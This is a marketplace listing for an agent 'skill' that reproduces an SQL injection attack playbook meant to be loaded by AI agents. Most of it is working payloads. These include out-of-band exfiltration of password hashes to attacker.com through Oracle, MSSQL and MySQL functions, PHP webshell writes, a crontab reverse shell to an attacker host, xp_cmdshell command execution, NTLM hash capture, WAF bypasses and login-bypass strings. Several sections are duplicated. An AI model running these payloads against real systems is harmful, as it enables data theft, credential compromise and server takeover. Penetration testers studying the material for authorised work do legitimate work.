
Sqli Sql Injection
- 2.5k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
sqli-sql-injection is an agent skill that >-.
About
SKILL SQL Injection Expert Attack Playbook AI LOAD INSTRUCTION Advanced SQLi techniques Assumes basic UNION error boolean blind fundamentals known Focuses on per database exploitation out of band exfiltration second order injection parameterized query bypass scenarios filter evasion and escalation to OS For real world CVE cases SMB DNS OOB exfiltration INSERT UPDATE injection patterns and framework specific exploitation ThinkPHP Django GIS load the companion SCENARIOS md SCENARIOS md ghost bits cast attack ghost bits cast attack SKILL md when the backend is Java with Jackson and your SQL keywords are WAF blocked Jackson s charToHex table is indexed by ch 0xFF so a Unicode character like 丰 U 4E30 resolves to hex digit 0 inside a uXXXX escape sequence letting you smuggle UNION SELECT 1 etc without the WAF ever seeing them Also load SCENARIOS md SCENARIOS md when you need SMB out of band exfiltration via LOAD_FILE UNC paths Windows MySQL KEY injection URI injection non parameter injection points INSERT DELETE UPDATE statement injection differences ThinkPHP5 array key
- SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-s
- > **AI LOAD INSTRUCTION**: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses
- - [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the backend is **Java with Jackson** and your SQL ke
- Follow sqli-sql-injection SKILL.md steps and documented constraints.
- Follow sqli-sql-injection SKILL.md steps and documented constraints.
Sqli Sql Injection by the numbers
- 2,538 all-time installs (skills.sh)
- +168 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #340 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
sqli-sql-injection capabilities & compatibility
- Capabilities
- sql injection playbook. use when input reaches s · > **ai load instruction**: advanced sqli techniq · [ghost bits cast attack](../ghost bits cast at · follow sqli sql injection skill.md steps and doc
- Use cases
- orchestration
What sqli-sql-injection says it does
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
> **AI LOAD INSTRUCTION**: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection
- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the backend is **Java with Jackson** and your SQL keywords are WAF-blocked — Jackson's `charToHex` table is indexed by `ch & 0xFF`,
npx skills add https://github.com/yaklang/hack-skills --skill sqli-sql-injectionAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.5k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 1 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
When should an agent use sqli-sql-injection and what problem does it solve?
>-
Who is it for?
Developers invoking sqli-sql-injection as documented in the skill source.
Skip if: Skip when requirements fall outside sqli-sql-injection documented scope.
When should I use this skill?
>-
What you get
Outputs aligned with the sqli-sql-injection SKILL.md workflow and stated deliverables.
- SQL injection test payloads
- Documented injection surface findings
Files
SKILL: SQL Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md.
0. RELATED ROUTING
- ghost-bits-cast-attack when the backend is Java with Jackson and your SQL keywords are WAF-blocked — Jackson's
charToHextable is indexed bych & 0xFF, so a Unicode character like丰(U+4E30) resolves to hex digit0inside a\uXXXXescape sequence, letting you smuggleUNION,SELECT,1, etc. without the WAF ever seeing them
1. QUICK START
Extended Scenarios
Also load SCENARIOS.md when you need:
- SMB out-of-band exfiltration via
LOAD_FILE+ UNC paths (Windows MySQL) - KEY injection / URI injection / non-parameter injection points
- INSERT/DELETE/UPDATE statement injection differences
- ThinkPHP5 array key injection (
updatexmlerror-based) - Django GIS Oracle
utl_inaddr.get_host_nameCVE - ORDER BY / LIMIT injection techniques
Advanced Reference
Also load SQLMAP_ADVANCED.md when you need:
- SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)
--technique,--risk/--levelcombinations and--second-urlfor second-order injection--os-shell/--os-pwnOS-level exploitation via SQLMap- INSERT/UPDATE/DELETE injection patterns with data exfiltration examples
- GraphQL + SQL injection (batched queries, nested field injection, mutation injection)
- DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER
If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.
First-pass payload families
| Situation | Start With | Why |
|---|---|---|
| Login or boolean branch | ' or 1=1-- | Fast signal on auth or conditional checks |
| Numeric parameter | 1 or 1=1 | Avoid quote dependency |
| ORDER BY / sorting | 1,2,3 then 1 desc-- | Good for structural probing |
| Visible SQL errors | ' then DBMS-specific error probes | Error text gives DBMS clues |
| No visible output | time-based payloads | Stable fallback for blind targets |
| Heavy filtering / WAF | polyglot or whitespace-free variants | Expands parser confusion surface |
Small, stable first-pass set
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--DBMS routing hints
| Clue | Likely DBMS | Good Next Move |
|---|---|---|
You have an error in your SQL syntax | MySQL | try SLEEP() and @@version |
Microsoft OLE DB Provider | MSSQL | try WAITFOR DELAY |
PG:: / PostgreSQL | PostgreSQL | try pg_sleep() |
ORA- prefix | Oracle | pivot to out-of-band or XML features |
| SQLite errors, local apps | SQLite | focus on boolean/UNION and file-backed behavior |
---
1. DETECTION — SUBTLE INDICATORS
Most SQLi is found by behavioral differences, not errors:
| Signal | Meaning |
|---|---|
Page loads differently with ' vs '' | String context injection point |
Numeric: 1 vs 1-1 vs 2-1 returns same | Arithmetic evaluated |
1=1 vs 1=2 in condition changes result | Boolean-based injection |
| SELECT with ORDER BY N: column count enumeration | UNION prep |
Time delay: '; WAITFOR DELAY '0:0:5'-- | Blind/time-based |
500 error on ', 200 on '' | Unhandled exception = SQLi |
| Different HTTP response size | Boolean blind indicator |
Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).
---
2. DATABASE FINGERPRINTING
-- MySQL
VERSION() -- returns version string
@@datadir -- data directory
@@global.secure_file_priv -- file read restriction
-- MSSQL
@@VERSION -- includes "Microsoft SQL Server"
DB_NAME() -- current database
USER_NAME() -- current user
-- Oracle
v$version -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name -- current db (alternative)
user -- current Oracle user
-- PostgreSQL
version() -- returns version
current_database() -- current db
current_user -- current userError-based fingerprint: inject ' and read error message format. MySQL errors differ from Oracle/MSSQL.
---
3. UNION-BASED DATA EXTRACTION
Column count determination:
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- ← until error = N-1 columnsColumn type detection (NULL is safest):
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL-- ← find string columnDatabase-specific string concat (required when column accepts only int):
-- MySQL
CONCAT(username,0x3a,password)
-- MSSQL
username+'|'+password
-- Oracle
username||'|'||password
-- PostgreSQL
username||':'||password---
4. BLIND INJECTION — INFERENCE TECHNIQUES
Boolean Blind (conditional response difference)
-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--
-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--Time-Based Blind (no response difference)
-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-----
5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL
Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.
MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) VALUES (@@version)--
-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--Use port 80 or 443 to bypass firewall egress restrictions.
Oracle — UTL_HTTP (HTTP GET with data in URL path)
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!
Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--Attacker sees: HASH_VALUE.attacker.com DNS query → read password hash.
Oracle — UTL_SMTP / UTL_TCP
-- Email large data dumps:
UTL_SMTP.SENDMAIL(...) -- send query results via email
-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)MySQL — DNS via LOAD_FILE (Windows + UNC path)
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMBMySQL — INTO OUTFILE (in-band filesystem write)
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''---
6. ESCALATION — OS COMMAND EXECUTION
MSSQL — xp_cmdshell (if enabled, or if sysadmin)
'; EXEC xp_cmdshell('whoami')--
-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--MySQL — UDF (User Defined Functions)
Write malicious shared library to filesystem, then CREATE FUNCTION ... SONAME.
Oracle — Java Stored Procedures
-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime---
7. SECOND-ORDER INJECTION
Concept: User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.
Example attack flow: 1. Register username: admin'-- 2. Application safely inserts this into users table 3. Password change function fetches username from session (trusted!) and builds:
UPDATE users SET password='newpass' WHERE username='admin'--'4. Comment strips the condition → updates admin's password
Key insight: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.
---
8. PARAMETERIZED QUERY BYPASS SCENARIOS
Parameterized queries do NOT prevent SQLi when:
1. Table/column names are user-controlled — params can't parameterize identifiers:
-- UNSAFE even with params:
"SELECT * FROM " + tableName + " WHERE id = ?"Mitigation: whitelist-validate table/column names.
2. Partial parameterization — some fields concatenated, others parameterized:
"SELECT * FROM users WHERE type='" + userType + "' AND id=?"
-- userType not parameterized → injection3. IN clause with dynamic count (common mistake in ORMs):
SELECT * FROM items WHERE id IN (1, 2, ?) -- only last is parameterized4. Second-order — data retrieved from DB assumed clean, re-used in query without params.
---
9. FILTER EVASION TECHNIQUES
Comment Injection (break keywords)
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--Case Variation
UnIoN SeLeCtURL Encoding
%55NION -- U
%53ELECT -- SWhitespace Alternatives
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users -- tab
SELECT%0ausername%0aFROM%0ausers -- newlineString Construction (bypass literal-string detection)
-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101) -- 'username'
-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)
-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)---
10. DATABASE METADATA EXTRACTION
MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U' -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')Oracle
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users -- requires DBAPostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'---
11. STORED PROCEDURE ABUSE
MSSQL — sp_OAMethod (COM automation)
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual---
12. QUICK REFERENCE — INJECTION TEST STRINGS
' -- break string context
'' -- escaped quote (test handling)
' OR 1=1-- -- auth bypass attempt
' OR 'a'='a -- alternate auth bypass
'; SELECT 1-- -- statement termination
' UNION SELECT NULL-- -- UNION test
' AND 1=1-- -- boolean true
' AND 1=2-- -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)-- -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay---
13. WAF BYPASS MATRIX
| Technique | Blocked | Bypass |
|---|---|---|
| Space filtered | SELECT * FROM | SELECT/**/*//**/FROM, SELECT%0a*%0aFROM |
| Comma filtered | UNION SELECT 1,2,3 | UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c |
| Quote filtered | 'admin' | 0x61646D696E (hex), CHAR(97,100,109,105,110) |
| OR/AND filtered | OR 1=1 | <code>||1=1</code>, &&1=1, DIV 0 |
| = filtered | id=1 | id LIKE 1, id REGEXP '^1$', id IN (1), id BETWEEN 1 AND 1 |
| SELECT filtered | Use handler (MySQL), PREPARE+hex, or stacked queries | |
| information_schema filtered | mysql.innodb_table_stats, sys.schema_table_statistics |
Additional WAF bypass patterns:
- Polyglot:
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ - Routed injection:
1' UNION SELECT 0x(inner_payload_hex)-- -where inner payload is another full query hex-encoded - Second Order: inject into storage, trigger when data is used in another query later
- PDO emulated prepare: when
PDO::ATTR_EMULATE_PREPARES=true, stacked queries work even with parameterized-looking code
---
14. WAF BYPASS MATRIX
No-Space Bypass
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)No-Comma Bypass
-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0Polyglot Injection
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/Routed Injection
-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL contextSecond-Order Injection
-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'PDO / Prepared Statement Edge Cases
// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);Entry Point Detection (Unicode tricks)
U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → 'SQL Injection — Extended Scenarios & Real-World Cases
Companion to SKILL.md. Contains additional attack scenarios, CVE case studies, and injection techniques from real-world engagements.
---
1. SMB Out-of-Band Exfiltration (MySQL on Windows)
When the MySQL server runs on Windows with outbound SMB allowed:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.attacker.com\\share'));
-- Triggers SMB connection → DNS lookup with data in hostname
-- More complete:
SELECT LOAD_FILE(CONCAT('\\\\attacker-ip\\', user(), '\\l.txt'));
-- SMB authentication attempt → attacker captures NTLMv2 hash via ResponderCompared to DNS exfiltration: SMB exfil can also leak NTLM hashes, enabling offline password cracking. DNS exfil is more reliable across firewalls.
---
2. KEY Injection / URI Injection
Beyond GET/POST parameters, SQL injection may occur in less-tested locations:
| Injection Point | Example |
|---|---|
| JSON key names | {"admin' OR 1=1--": "value"} — if key is used in column name |
| URI path segments | /api/users/1 OR 1=1 — if path param enters SQL |
| HTTP headers | X-Forwarded-For: 127.0.0.1' OR 1=1-- |
| Cookie values | session=abc' UNION SELECT... |
| Multipart filename | filename="test' OR '1'='1.jpg" |
| ORDER BY from API sort param | ?sort=name;SELECT SLEEP(5)-- |
---
3. INSERT / DELETE / UPDATE Injection Differences
Most SQLi training focuses on SELECT. Real applications use INSERT/UPDATE/DELETE with different exploitation strategies:
INSERT Statement Injection
-- Original: INSERT INTO logs (user, action) VALUES ('INPUT', 'login');
-- Injection in user field:
INPUT: admin', 'login'), ('attacker', (SELECT password FROM users LIMIT 1))--
-- Result: INSERT INTO logs (user, action) VALUES ('admin', 'login'), ('attacker', 'actual_password')--', 'login');
-- Exfiltrates data into a visible log tableUPDATE Statement Injection
-- Original: UPDATE users SET email='INPUT' WHERE id=5;
-- Injection: '), admin=1 WHERE username='victim'--
-- Result: UPDATE users SET email=''), admin=1 WHERE username='victim'--' WHERE id=5;
-- Escalates victim's privilegesDELETE Statement Injection
-- Application's own statement (the injectable sink): DELETE FROM cart WHERE item_id='INPUT' AND user_id=5;
-- Non-destructive proof: confirm injection with a time-based payload, not by widening the WHERE:
-- Injection: 1' AND IF((SELECT 1),SLEEP(5),0)--
-- Note: a boolean payload (e.g. 1' OR '1'='1) would match every row (DoS / data destruction) — do not run it against real data.---
4. CVE Case: ThinkPHP5 SQL Injection
ThinkPHP5 framework's where method improperly handles array parameters:
POST /index/think\app/invokefunction
Content-Type: application/x-www-form-urlencoded
function=call_user_func_array&vars[0]=system&vars[1][]=idError-based extraction using updatexml:
id=1' AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)-----
5. CVE Case: Django GIS SQL Injection (CVE-2020-9402)
Django's GIS GeoQuerySet methods (e.g., annotate with RawSQL) on Oracle backend allow error-based injection via utl_inaddr.get_host_name:
-- Oracle error-based exfiltration:
' AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))--
-- Oracle raises ORA-29257 containing the username in the error message
-- DNS-based out-of-band on Oracle:
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--Takeaway: Oracle-specific functions (utl_inaddr, utl_http, dbms_ldap) are powerful OOB channels that bypass most firewall restrictions.
---
6. SQL Injection via Different SQL Verbs
Applications may use different HTTP methods and SQL verbs for the same endpoint:
GET /api/items?id=1 → SELECT (read)
POST /api/items → INSERT (create)
PUT /api/items/1 → UPDATE (modify)
DELETE /api/items/1 → DELETE (remove)
Each verb constructs a different SQL statement.
Test ALL verbs, not just the one shown in the UI.---
7. Universal Password Bypass Patterns
-- Standard:
admin'--
admin' OR 1=1--
' OR '1'='1
-- With parentheses (common in PHP apps):
') OR ('1'='1
') OR 1=1--
-- With comment variations:
admin'/*
admin' OR 1=1#
-- Without quotes (numeric context):
1 OR 1=1
0 OR 1=1---
8. DB2 Injection Specifics
DB2 uses distinct syntax and system tables.
Enumeration
SELECT versionnumber, version_timestamp FROM sysibm.sysversions
SELECT schemaname FROM syscat.schemata
SELECT inst_name FROM sysibmadm.env_inst_info
SELECT 1 FROM sysibm.sysdummy1 -- equivalent to Oracle DUALBlind Injection
-- Character extraction:
AND ascii(substr((SELECT user FROM sysibm.sysdummy1),1,1)) > 64
-- Row selection (no LIMIT):
SELECT column FROM table FETCH FIRST 1 ROWS ONLY
-- Time-based via Cartesian product (no SLEEP):
AND 1=(SELECT COUNT(*) FROM sysibm.sysdummy1 a, sysibm.sysdummy1 b, sysibm.sysdummy1 c)Command Execution
-- IBM i (AS/400) only:
CALL QSYS2.QCMDEXC('COMMAND_HERE')WAF Bypass
-- Avoid quotes via chr() concatenation:
chr(65)||chr(68)||chr(77)||chr(73)||chr(78) -- 'ADMIN'---
9. Cassandra Injection Specifics (CQL)
Cassandra Query Language has severe limitations for injection:
Key Limitations
- No JOIN, no UNION, no subqueries
- No
ORoperator in WHERE clause - No
SLEEP()or time-delay function - No built-in
USER()function
Authentication Bypass
-- Null byte termination:
admin' ALLOW FILTERING; %00
-- Multi-line comment closure:
admin'/* (in username)
*/and pass>' (in password)Comments
/* multi-line comment */
-- No single-line comment syntax---
10. BigQuery Injection Specifics
Google BigQuery uses backtick-quoted identifiers and lacks traditional blind techniques.
Identification
-- Backtick syntax is distinctive:
SELECT * FROM `project.dataset.table`
-- System variables:
SELECT @@project_idEnumeration
SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA
-- Fully qualified table names required: project.dataset.tableError-based
-- Division by zero:
' OR if(1/(length((select('a')))-1)=1,true,false) OR 'Boolean Blind
' AND SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1),1,1)='A' --Key Notes
- No native
SLEEP()function for time-based blind - Comments:
#,/* */ - No stacked queries support
---
11. SQLite Injection to RCE
SQLite supports file operations that can escalate to code execution.
Enumeration
SELECT name FROM sqlite_master WHERE type='table'
SELECT sql FROM sqlite_master WHERE name='target_table'
SELECT * FROM pragma_table_info('target_table')Write Webshell via ATTACH DATABASE
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
CREATE TABLE pwn.cmd (payload text);
INSERT INTO pwn.cmd VALUES ('<?php system($_GET["c"]); ?>');Write Cron Job
ATTACH DATABASE '/var/spool/cron/crontabs/www-data' AS cron;
CREATE TABLE cron.job (payload text);
INSERT INTO cron.job VALUES ('* * * * * /bin/bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"');load_extension (if enabled)
-- Load shared library for RCE (rarely enabled):
SELECT load_extension('/tmp/evil.so')
-- Windows UNC path variant:
SELECT load_extension('\\attacker\share\evil.dll')writefile (if available)
SELECT writefile('/var/www/html/shell.php', '<?php system($_GET["c"]); ?>');Error-based
-- Trigger error via nonexistent function:
CASE WHEN [condition] THEN 1 ELSE load_extension(1) ENDTime-based (no SLEEP)
-- CPU-intensive operation as delay:
AND 1=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(500000000/2))))---
12. WAF Bypass Matrix
No Spaces Allowed
/**/UNION/**/SELECT/**/1,2,3
UNION%09SELECT%091,2,3 -- tab character
UNION%0BSELECT%0B1,2,3 -- vertical tab
UNION(SELECT(1),(2),(3)) -- parentheses instead of spacesNo Commas Allowed
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- CASE/JOIN substitution
SELECT CASE WHEN 1=1 THEN 1 END FROM dual
-- OFFSET instead of comma in LIMIT:
LIMIT 1 OFFSET 0Polyglot Injection
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/Routed Injection
-- Nested query where inner result becomes part of outer:
1' UNION SELECT 0x2720554e494f4e2053454c454354 -- (hex-encoded second stage)Second Order Injection
Step 1: Register username: admin'--
Step 2: Login as admin'-- (stored in session)
Step 3: Change password → UPDATE users SET password='new' WHERE user='admin'--'
Effectively changes admin's password---
13. CTF-Oriented Techniques
handler (bypass SELECT filter)
-- When SELECT is blocked:
handler `table_name` open as a;
handler `a` read next;
handler `a` close;prepare + hex (bypass keyword filters)
SET @a=0x73656c65637420757365722829; -- hex of "select user()"
PREPARE execsql FROM @a;
EXECUTE execsql;innodb_table_stats (bypass information_schema filter)
-- When 'information_schema' or 'or' is filtered:
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=database()No-column-name Injection
-- When column names are unknown:
SELECT `3` FROM (SELECT 1,2,3 UNION SELECT * FROM target_table)a LIMIT 1,1
-- Backtick number refers to positional columnDouble-write Bypass
-- When keywords are removed once:
uunionnion sselectelect 1,2,3 ffromrom target
-- After removal: union select 1,2,3 from targetgroup_concat Alternative
-- When group_concat is filtered, use GROUP BY with error:
SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x---
14. DB2 Injection Specifics
DB2 uses different system catalogs and has unique capabilities:
-- Version detection
SELECT versionnumber, version_timestamp FROM sysibm.sysversions
-- Current user
SELECT user FROM sysibm.sysdummy1
-- Schema enumeration
SELECT schemaname FROM syscat.schemata
SELECT name, tbname FROM sysibm.syscolumns WHERE tbname='USERS'
-- Blind injection
SELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END FROM sysibm.sysdummy1
-- Character extraction:
SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1
-- Time-based (Cartesian product amplification)
SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3
-- Command execution (IBM i / AS/400)
CALL QSYS2.QCMDEXC('COMMAND_STRING')
-- WAF bypass: concatenate without quotes
chr(65)||chr(68)||chr(77)||chr(73)||chr(78)---
15. Cassandra (CQL) Injection Specifics
Cassandra Query Language has severe limitations compared to SQL:
-- Key differences from SQL:
-- * No JOIN, no UNION, no subqueries
-- * No OR operator in WHERE clause
-- * No SLEEP() or time-delay functions
-- * No built-in USER() function
-- * Comments: /* ... */ only
-- Login bypass:
username: admin' ALLOW FILTERING; %00
-- Multi-line comment bypass:
username: admin'/*
password: */and pass>'
-- Boolean extraction via IF() in CQL:
SELECT * FROM users WHERE user='admin' IF EXISTS---
16. BigQuery Injection Specifics
Google BigQuery uses backticks and has unique syntax:
-- Identification: backtick syntax for identifiers
SELECT * FROM `project.dataset.table`
-- System information
SELECT @@project_id
-- Schema enumeration
SELECT * FROM `project.dataset.INFORMATION_SCHEMA.SCHEMATA`
-- Fully qualified: project.dataset.INFORMATION_SCHEMA.TABLES
-- Comments: # and /* */
-- Error-based (division by zero):
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
-- Boolean-based
' AND SUBSTRING((SELECT column FROM dataset.table LIMIT 1),1,1)='A
-- IMPORTANT: No native SLEEP() function
-- No time-based blind injection possible with standard functions
-- UNION template:
' UNION ALL SELECT (SELECT @@project_id),2,3-----
17. SQLite Injection to RCE
SQLite has powerful file system interaction capabilities:
-- Enumeration
SELECT name FROM sqlite_master WHERE type='table'
SELECT sql FROM sqlite_master WHERE name='users'
SELECT * FROM pragma_table_info('users')
-- Blind injection
SELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END
-- Hex-based character extraction:
SELECT hex(substr(password,1,1)) FROM users LIMIT 1
-- Error-based
SELECT CASE WHEN [BOOLEAN] THEN 1 ELSE load_extension(1) END
-- Time-based (heavy computation)
SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
-- RCE via ATTACH DATABASE (write webshell)
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
CREATE TABLE pwn.exp (payload TEXT);
INSERT INTO pwn.exp VALUES ('<?php system($_GET["c"]); ?>');
-- RCE via ATTACH DATABASE (write crontab)
ATTACH DATABASE '/var/spool/cron/crontabs/www-data' AS pwn;
CREATE TABLE pwn.exp (payload TEXT);
INSERT INTO pwn.exp VALUES ('* * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1');
-- RCE via load_extension
-- Compile shared library with init function, then:
SELECT load_extension('/tmp/evil.so','init_func');
-- Windows UNC: SELECT load_extension('\\attacker\share\evil.dll');
-- Write file (if enabled)
SELECT writefile('/var/www/html/shell.php', '<?php system($_GET["c"]); ?>');---
18. CTF SQL Injection Techniques
handler Bypass (when SELECT is filtered)
-- MySQL-specific alternative to SELECT:
handler `tablename` open as a;
handler `a` read next;
handler `a` close;prepare + hex (when keywords are filtered)
SET @a=0x73656C65637420757365722C70617373776F72642066726F6D207573657273;
-- hex of: select user,password from users
prepare execsql from @a;
execute execsql;innodb_table_stats (bypass information_schema filter)
-- When 'information_schema' or 'or' is filtered:
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=database()No-column-name injection
-- When column names are unknown:
SELECT `1` FROM (SELECT 1,2,3 UNION SELECT * FROM users)a
-- Backtick numbers correspond to column positionsDouble-write bypass
-- When keywords are removed once:
uunionnion sselectelect ffromrom
-- After filter removes: union select fromXOR blind injection
-- When most operators are filtered but ^ remains:
id=1^(ascii(substr((select(flag)from(flag)),1,1))>100)^1PIPES_AS_CONCAT mode
-- When || is not filtered:
SET sql_mode=PIPES_AS_CONCAT;
SELECT 1||flag FROM flag
-- || acts as string concatenation instead of ORRename/Alter table trick
-- Rename flag table to match app's expected query:
ALTER TABLE flag RENAME TO words;
ALTER TABLE words ADD COLUMN id INT DEFAULT 1;
-- App query: SELECT * FROM words WHERE id=1 → returns flag dataSQLMap Advanced Workflow & Deep SQL Injection Techniques
